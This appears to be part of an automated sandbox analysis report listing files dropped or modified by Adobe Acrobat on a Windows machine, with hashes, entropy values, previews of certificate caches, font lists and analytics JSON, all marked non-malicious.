Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl1N6pstfllXlE/HT8k+d1NNX8RolJuRdxLlGB9lQRYwpDdt:kKA6yeT8N7NMa8RdWBwRd
MD5:	AB7A9BF9AC962C1CC5EB83CEA943D56A
SHA1:	B1A1F0584C696A92AA62692988EDF641DE47520B
SHA-256:	5167B7F34814BC0A48BC99BBF0C6FA5FBDAE0C827A24E1D86BA1E34D8F0E45E5
SHA-512:	5CB11AEF500300FD3EDE0E5B7383238F01A818BD42151C598F64631E4CB6A8EE86A5DAA82CC6501FF6A7407BB3738A613315D1EAF6E4FAE56910F4DA22DD3F60
Malicious:	false
Preview:	p...... ........Fw...c..(....................................................... ..........W.....v..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kK59L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:B9iDImsLNkPlE99SNxAhUe/3
MD5:	32C0FA7517B85C5D7A4CD5B207D3FB88
SHA1:	56231D7BAB67AB4595EA0B0840092C7455AFD0B0
SHA-256:	5143296480711234E997FA3FFE0288EE51466815C4A942E61ACEF5740E448758
SHA-512:	BB00B473022C2703BA4D3DC5D133E1CE9C03EE15B152EA46CD301922058BF543AE5F3702AD629639D32B1C33C44AF11CD53B24EA926ACAB616A64E965B9A926C
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7336

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7336

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.333301591366285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJM3g98kUwPeUkwRe9:YvXKXXhOvR/ZwHAaWGMbLUkee9
MD5:	9FD3F15448409B9B25163D95BCBE0C20
SHA1:	0AABFB8B4A1F82C9A5CF6C829CFC31F09E73667C
SHA-256:	6551D00FE6EEB33FC78F69ED43DCDD097E2D47BE59258EFF996111E3B54098EB
SHA-512:	8B9AFD4794FF502AF4D17689C5F3B29F3348BAC10BE78A37980C041AD299B254F9F629FFCC7948B28F0C5B20B8D750CC90CCD6980C17165174F5C991649052B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.269526345535395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfBoTfXpnrPeUkwRe9:YvXKXXhOvR/ZwHAaWGWTfXcUkee9
MD5:	4A78C100E6F4D3E902F840B02D073D01
SHA1:	3006FC22E744DA9173BA31BB59D8CF043563059D
SHA-256:	BCE092453F72D4B06B7497E0F60ABE0A9098F18C0680E3E513E1669F54D884E9
SHA-512:	761A0281090D01B4C859B7AABCFC7032D790A030A65F8660B93576ED455A26BBFB25FCD5353766B735A5D907F52B93C814F87D8E8919C45E50F5C2BEF0671A0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247376439112465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfBD2G6UpnrPeUkwRe9:YvXKXXhOvR/ZwHAaWGR22cUkee9
MD5:	A1C76DF42CC551BD64A8269C9E606BFF
SHA1:	3290A2EFA15A68975ECB74EADB9BF3A81B7A6322
SHA-256:	8B8CF36858AC1D2428CBA24B61E280838812AA9D12B00ECC093B44D05171F750
SHA-512:	1171DC5A4ED2F77B7B5E341A1520A8D66EE1D8FFD152617114CE1A0CD330BB5C6CA6CE353EE073911B458BF271F54388EDB0DACB5B10F114AA9046C124620F1E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.309195338088742
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfPmwrPeUkwRe9:YvXKXXhOvR/ZwHAaWGH56Ukee9
MD5:	6DD65A6CE080C02FE720EEC44E15271D
SHA1:	72317D1B35CCBA9689566DF5D14BF17BC8EF5AC0
SHA-256:	EE827A205EBBA0A34497C0A0A0FC960D6B47E5B50F29D6334822464CC7790C26
SHA-512:	FFAF3739ACDE302D98557309E161534952AD9BE5C04958B34357F6774648E820028483CFFC2B1C022D793E48EC9711E0902629C8559BDFD005077585F19A3024
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685963215304333
Encrypted:	false
SSDEEP:	24:Yv6XXhOJh+DpLgE9cQx8LennAvzBvkn0RCmK8czOCCSU:Yv2gJh+Dhgy6SAFv5Ah8cv/U
MD5:	921A4DE92B3F29942D22A16CBFC8C2BD
SHA1:	711C60A3660F0423896909C16435D367E97B302A
SHA-256:	AE84CFEBDB78E8D7B30BB264292226EBAB27586F4243A920FDC477965D58C7CF
SHA-512:	29EA3E2AC363FFAA9C22D145214939C89905ABBAF36C8EFF627549CBCDDAC4E77373AA42F764E9C37738436E74F8ECE174B908BF4BD1FD6230E1E11113C71B3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.255899934730924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJf8dPeUkwRe9:YvXKXXhOvR/ZwHAaWGU8Ukee9
MD5:	FEDE84A89C463447EC083B80886DAD87
SHA1:	8C365F8C7305F0A64A48DA7A60D3850B869F89BA
SHA-256:	D924AA8803DFF98D26118AA073E51AB5AE6B992ED70ED7C1A03D3068FD8F9E5E
SHA-512:	4A443E84C84AA1C518E6760CEE068E8D889B091950F1842FFE82E4B60D12E1FA754861B520580F0C5198B8291C2D11505E404CB73EBBB249BD0E89276D7CECA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.25532278463016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfQ1rPeUkwRe9:YvXKXXhOvR/ZwHAaWGY16Ukee9
MD5:	AE3FC397FEEBC841382FEC5116FCBE3A
SHA1:	F6C2DE39E3C424B831A71FD6F5644DCBE6948016
SHA-256:	82678ACE59986CD8BF70B20C2764ABF1D66130DD00272B311D4F98D6156330A3
SHA-512:	2B9D04A9856D63B1137E4C5605AE0617C21F6936711F539EDB424F01E79728AC78FF5D9E34EB9BFDDE2B20A495DC71CFD9117ED37E86996802C91C0EF016B109
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269986059311061
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfFldPeUkwRe9:YvXKXXhOvR/ZwHAaWGz8Ukee9
MD5:	E566BDB60D0ED00CB23009A8B28E9052
SHA1:	0F9336C8BEF828F7FB9FCE8AFFDF36B6C8495E14
SHA-256:	5ECB0685958191083307F1ECAB1A85F06C1A031E8B365CBD1E813FAF84ECA039
SHA-512:	D6FBCC7DF7640B8D486F2EF3FF9AE3F601F64FB223500A273068F0B92BA844E5E997B9F3F085D5CFD87DD05428B0A6A9A46E0494E4DEFDD69C6D5F81EE6E92CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285277750920276
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfzdPeUkwRe9:YvXKXXhOvR/ZwHAaWGb8Ukee9
MD5:	B98E96CFFB0E628F754D5014FAFF5D69
SHA1:	E8E508106185BAD938811DD52B16858DFBCADF61
SHA-256:	BDCB35C5EF5C657561DEF09CB120301EE805D55C75021D9C816CCB5740E69648
SHA-512:	56BE778A0234ADD3F9FDA083620FFB5F9CEBECB5F36257DC611B56CA8C5A9C299E4448BEFAB82A20FA0941B80C28950E48380E859FC9CE0984971DE8B456FA3F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cadd0c21-a1a4-4879-8d64-e68cb2634f37","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748514601,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2654913060980135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXXhuhvB3/dVlPIHAR0Y+ZoAvJfYdPeUkwRe9:YvXKXXhOvR/ZwHAaWGg8Ukee9
MD5:	729207F3A5900B50FA8809CC2B99E7D3
SHA1:	03D731825D4CCC2CB0F608B72720BCE136F91E54
SHA-256:	0F683F6BD230C40B92FBCEAA245DAC36F05F771CA455D5A952698B7B2AED0DFF
